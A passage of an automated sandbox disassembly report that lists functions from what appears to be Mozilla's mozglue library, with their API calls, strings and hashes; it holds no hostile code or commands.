Part of subcall function 6C376A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C376B15
Part of subcall function 6C376A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C376B65
Part of subcall function 6C376A10: LeaveCriticalSection.KERNEL32(6C39F618,?,?), ref: 6C376B83

MozFormatCodeAddress.MOZGLUE ref: 6C376EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C376EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C376EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C376EFF

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: be883e9a14a3ec755d92bdfb840257deeb9108e00d7231a788e1994133c02293
Instruction ID: 96e2a1d1782b7e0ea169a79a7eaf387c33405541e01c0e05c60bee0929e92c8a
Opcode Fuzzy Hash: be883e9a14a3ec755d92bdfb840257deeb9108e00d7231a788e1994133c02293
Instruction Fuzzy Hash: 5121B271A0421A8FDB14CF29D8846DE77F9EF84308F044039E84997240EB359A488FA2

Function 6C350D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C313DEF), ref: 6C350D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C313DEF), ref: 6C350D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C313DEF), ref: 6C350DAF

Strings

<jemalloc>, xrefs: 6C350D92, 6C350DB9
: (malloc) Error in VirtualFree(), xrefs: 6C350D97, 6C350DBE

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: d30fa503bc4c768976a13aff07a23ce57228ad5cb66706c3da950385d1f7d530
Instruction ID: 81edac79842c1668280e4ba4e3c575841eec2350293ca4ffda8b0b5f637b5fa9
Opcode Fuzzy Hash: d30fa503bc4c768976a13aff07a23ce57228ad5cb66706c3da950385d1f7d530
Instruction Fuzzy Hash: A1F0E97238429423E63025660C0AF5A26AD6BC2B6CF704035F755EE9C0FA53E4104EB5

Function 6C367620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C3675C4,?), ref: 6C36762B

Part of subcall function 6C32CA10: malloc.MOZGLUE(?), ref: 6C32CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C3674D7,6C3715FC,?,?,?), ref: 6C367644
GetCurrentThreadId.KERNEL32 ref: 6C36765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C3674D7,6C3715FC,?,?,?), ref: 6C367663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C3674D7,6C3715FC,?,?,?), ref: 6C367677

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 3bb91c184b759316b23c0a92e3f7bb1b1957d9dc1e985b3f22e006964310fab8
Instruction ID: fce36bf51f9aa7bddbf968d1a23065a1ecd126274efbc33f8d092d8e5ca4da41
Opcode Fuzzy Hash: 3bb91c184b759316b23c0a92e3f7bb1b1957d9dc1e985b3f22e006964310fab8
Instruction Fuzzy Hash: 76F02271E10345ABE700CF21D888676B77CFFEA658F114316F90447601E7B1A5D08BD0

Function 6C371700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C371800

Part of subcall function 6C34CBE8: GetCurrentProcess.KERNEL32(?,6C3131A7), ref: 6C34CBF1
Part of subcall function 6C34CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C3131A7), ref: 6C34CBFA

Part of subcall function 6C314290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C353EBD,6C353EBD,00000000), ref: 6C3142A9

Strings

{marker.name} - {marker.data.name}, xrefs: 6C3718C7
name, xrefs: 6C371939
Details, xrefs: 6C371925

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 1898517d099f9dce6e3c85a2f4e081424d2902af42c50b1a9a3046b98d0b123d
Instruction ID: bc0b2fc9375e2dda0bf72867fead04799de60a89e40b6779b3a7fecea1eb4b03
Opcode Fuzzy Hash: 1898517d099f9dce6e3c85a2f4e081424d2902af42c50b1a9a3046b98d0b123d
Instruction Fuzzy Hash: F67103B1A0034A9FC704DF28C45079ABBB5FF49304F044669D8594BB41E775EA98CFE2

Function 6C33D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C34CBE8: GetCurrentProcess.KERNEL32(?,6C3131A7), ref: 6C34CBF1
Part of subcall function 6C34CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C3131A7), ref: 6C34CBFA

EnterCriticalSection.KERNEL32(6C39E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C34D1C5), ref: 6C33D4F2
LeaveCriticalSection.KERNEL32(6C39E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C34D1C5), ref: 6C33D50B

Part of subcall function 6C31CFE0: EnterCriticalSection.KERNEL32(6C39E784), ref: 6C31CFF6
Part of subcall function 6C31CFE0: LeaveCriticalSection.KERNEL32(6C39E784), ref: 6C31D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C34D1C5), ref: 6C33D52E
EnterCriticalSection.KERNEL32(6C39E7DC), ref: 6C33D690
LeaveCriticalSection.KERNEL32(6C39E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C34D1C5), ref: 6C33D751

Strings

MOZ_CRASH(), xrefs: 6C33D4BB

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 54ca233905a726d2833658255d8c3a33c3101abe9a7a2fb8f2cb51cc68e68e77
Instruction ID: 27b34337b88e05a05be1fb6b5e8b0347fb7f9fda1d76cb2f95a26a7d7766ef96
Opcode Fuzzy Hash: 54ca233905a726d2833658255d8c3a33c3101abe9a7a2fb8f2cb51cc68e68e77
Instruction Fuzzy Hash: 5851F271A047518FD318CF29C09461AB7F5FB89304F64892EE5AAC7B84E772E804CF92

Function 6C364630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C364721

Strings

profiler-paused, xrefs: 6C3646E4
., xrefs: 6C36476A
-%llu, xrefs: 6C364733

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 2e3a4f13f751655b43788da2bdb96300d06836854ebda5010c8db26f7b18d8e0
Instruction ID: 9c671b07e472c564cb1c73d16495900fa8cf245f03f41506e5092c1c1c38dba7
Opcode Fuzzy Hash: 2e3a4f13f751655b43788da2bdb96300d06836854ebda5010c8db26f7b18d8e0
Instruction Fuzzy Hash: D6416871E047089FCB08DF7AE85115EBBE9EF86744F10863EE8555BB45EB3198448B82

Function 6C389830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C38985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C38987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C3898DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C3898D9

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 0a775bab9033b5b24e2574c0cb58198f7c8c8cf64fddf5ba621a2ddd8ce35e70
Instruction ID: 68b177ac9d89a8ed243d30a04fdf26cd441fa49d3593454c574cdccdae9897d0
Opcode Fuzzy Hash: 0a775bab9033b5b24e2574c0cb58198f7c8c8cf64fddf5ba621a2ddd8ce35e70
Instruction Fuzzy Hash: 84310871B002085BDB14AF59DC445EE77E9DF88318F40842DEA5A9BB40DB319905CFD2

Function 6C3646E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C364721

Part of subcall function 6C314410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C353EBD,00000017,?,00000000,?,6C353EBD,?,?,6C3142D2), ref: 6C314444

Strings

profiler-paused, xrefs: 6C3646E4
., xrefs: 6C36476A
-%llu, xrefs: 6C364733

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 946ab77ff8daf12541ffbc8112ddeed62f04ac3d1f294f6dc6b72aaf2700016d
Instruction ID: 45ddd33d6b3c4673229e50015c82c68a7b44e396f7ff4f17a827dd95fbcdde06
Opcode Fuzzy Hash: 946ab77ff8daf12541ffbc8112ddeed62f04ac3d1f294f6dc6b72aaf2700016d
Instruction Fuzzy Hash: C7316871F042084FCB0CDF6ED89129EBBE6DB89314F14813EE8159BB84EB7198048F90

Function 6C36B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C314290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C353EBD,6C353EBD,00000000), ref: 6C3142A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C36B127), ref: 6C36B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C36B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C36B4E4

Strings

pid:, xrefs: 6C36B4DE

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 309b1d9a52d077655230ede2ca47f3c701a09abdb0d072872e4316ba7a5adb6a
Instruction ID: f6dfa5a010a24e18feca1c116345f5a3bb1dec0176889adfd85e40a80e5936ac
Opcode Fuzzy Hash: 309b1d9a52d077655230ede2ca47f3c701a09abdb0d072872e4316ba7a5adb6a
Instruction Fuzzy Hash: 2D311331A012089BDB11DFAAD880AEEB7B9BF4430CF540529E9416BF45D732E845DFA1

Function 6C34AF8B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

_initialize_onexit_table.API-MS-WIN-CRT-RUNTIME-L1-1-0(%4{%4{%4{%4{%4{%4{,00000000), ref: 6C34AFBD
_initialize_onexit_table.API-MS-WIN-CRT-RUNTIME-L1-1-0(%4{%4{%4{,00000000), ref: 6C34AFCC

Strings

%4{%4{%4{%4{%4{%4{, xrefs: 6C34AFB8, 6C34AFE6

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: _initialize_onexit_table
String ID: %4{%4{%4{%4{%4{%4{
API String ID: 2450287516-2735877133
Opcode ID: 4191f4b2ca4e3c573c420a79553862de8ed7229fe0a40d8afc0b324a22bb93c2
Instruction ID: a8dad203fb13b76685a421b4c55c7493f1355bc84767d7cfbb8c8abfecfb6230
Opcode Fuzzy Hash: 4191f4b2ca4e3c573c420a79553862de8ed7229fe0a40d8afc0b324a22bb93c2
Instruction Fuzzy Hash: 2511CE72D00B01AADB01DE6988403CE77E8AF02319F158166D961ABB80E6B285459FE1

Function 6C32BF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C377A3F), ref: 6C32BF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C377A3F), ref: 6C32BF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C377A3F), ref: 6C32BF7E

Strings

8l, xrefs: 6C32BF84

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: 8l
API String ID: 4279176481-3353761436
Opcode ID: d61542bcc5ace047b8951d8f6f3aeaa986185b7654ec8cba762ad6192518a80d
Instruction ID: 7a710133e49e0cd48b1874c42906953386d1659909b26628eb2367f35b73730e
Opcode Fuzzy Hash: d61542bcc5ace047b8951d8f6f3aeaa986185b7654ec8cba762ad6192518a80d
Instruction Fuzzy Hash: 75119FB92017448FD729CF1DD599966FBF8FB5A308355885DEA8A8B760C732A804CF90

Function 6C35E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C35E577
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35E584
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C35E8A6

Strings

MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C35E722, 6C35E750, 6C35E7A2
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C35E655
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C35E826, 6C35E850
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C35E777
MOZ_PROFILER_STARTUP, xrefs: 6C35E5A1, 6C35E5CC, 6C35E5FF, 6C35E62A

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 66079655f747f3dbd8e3f0259994f8d2698085a270ae355a67b6509c690d1b73
Instruction ID: 33608ac0eff2c80a2b98f6ad203b7c96e0ab188012579288d22f58e470738196
Opcode Fuzzy Hash: 66079655f747f3dbd8e3f0259994f8d2698085a270ae355a67b6509c690d1b73
Instruction Fuzzy Hash: AF118E32A04354DFCB109F15C448B59BBB8FB89729F410519F8965B650E775A814CF92

Function 6C360C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C360CD5

Part of subcall function 6C34F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C34F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C360D40
free.MOZGLUE ref: 6C360DCB

Part of subcall function 6C335E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C335EDB
Part of subcall function 6C335E90: memset.VCRUNTIME140(ew7l,000000E5,?), ref: 6C335F27
Part of subcall function 6C335E90: LeaveCriticalSection.KERNEL32(?), ref: 6C335FB2

free.MOZGLUE ref: 6C360DDD
free.MOZGLUE ref: 6C360DF2

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 0b4772a4f6bc7fec1dd57bf6af640ee4347e31d62592c12530cbc70632da47db
Instruction ID: 3b6a3dc2ca2f9db735d1fa0218e058444b467248dd827a435aa6be2fd0aaf564
Opcode Fuzzy Hash: 0b4772a4f6bc7fec1dd57bf6af640ee4347e31d62592c12530cbc70632da47db
Instruction Fuzzy Hash: 854115759097849BD720DF2AC08179AFBE5BFC9714F108A2EE8D887B50D7709845CF92

Function 6C350800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C39E7DC), ref: 6C350838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C35084C
EnterCriticalSection.KERNEL32(?), ref: 6C3508AF
LeaveCriticalSection.KERNEL32(?), ref: 6C3508BD
LeaveCriticalSection.KERNEL32(6C39E7DC), ref: 6C3508D5

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: bd649c25bdbae78363322cc8a2ed4bb57c6089c7a3fb68c040ec8a419a366611
Instruction ID: 97129c2239e44862e0c33e08432d1d144d5056f50b2b18c780877a53e7c3f64a
Opcode Fuzzy Hash: bd649c25bdbae78363322cc8a2ed4bb57c6089c7a3fb68c040ec8a419a366611
Instruction Fuzzy Hash: 2321AF32B012499BEB048FA5D884FAE73B9BF4570DF940528D919A7A40EB37A8148FD1

Function 6C36CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C35DA31,00100000,?,?,00000000,?), ref: 6C36CDA4

Part of subcall function 6C32CA10: malloc.MOZGLUE(?), ref: 6C32CA26

Part of subcall function 6C36D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C36CDBA,00100000,?,00000000,?,6C35DA31,00100000,?,?,00000000,?), ref: 6C36D158
Part of subcall function 6C36D130: InitializeConditionVariable.KERNEL32(00000098,?,6C36CDBA,00100000,?,00000000,?,6C35DA31,00100000,?,?,00000000,?), ref: 6C36D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C35DA31,00100000,?,?,00000000,?), ref: 6C36CDC4

Part of subcall function 6C367480: ReleaseSRWLockExclusive.KERNEL32(?,6C3715FC,?,?,?,?,6C3715FC,?), ref: 6C3674EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C35DA31,00100000,?,?,00000000,?), ref: 6C36CECC

Part of subcall function 6C32CA10: mozalloc_abort.MOZGLUE(?), ref: 6C32CAA2

Part of subcall function 6C35CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C36CEEA,?,?,?,?,00000000,?,6C35DA31,00100000,?,?,00000000), ref: 6C35CB57
Part of subcall function 6C35CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C35CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C36CEEA,?,?), ref: 6C35CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C35DA31,00100000,?,?,00000000,?), ref: 6C36D058

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: b69f87a85350cc88895bca10cdd415d95d5c899d28baef1dc34e86bb6b41ed5b
Instruction ID: 6176eb9548e84f3c8cd6fb33553e2fb518eee23ff8c206739a89d614eea66f9c
Opcode Fuzzy Hash: b69f87a85350cc88895bca10cdd415d95d5c899d28baef1dc34e86bb6b41ed5b
Instruction Fuzzy Hash: 45D17F71A04B069FD708CF29D480B99B7E1BF89308F11862DD8998BB15EB71A965CFC1

Function 6C321720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C3217B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C3218EE
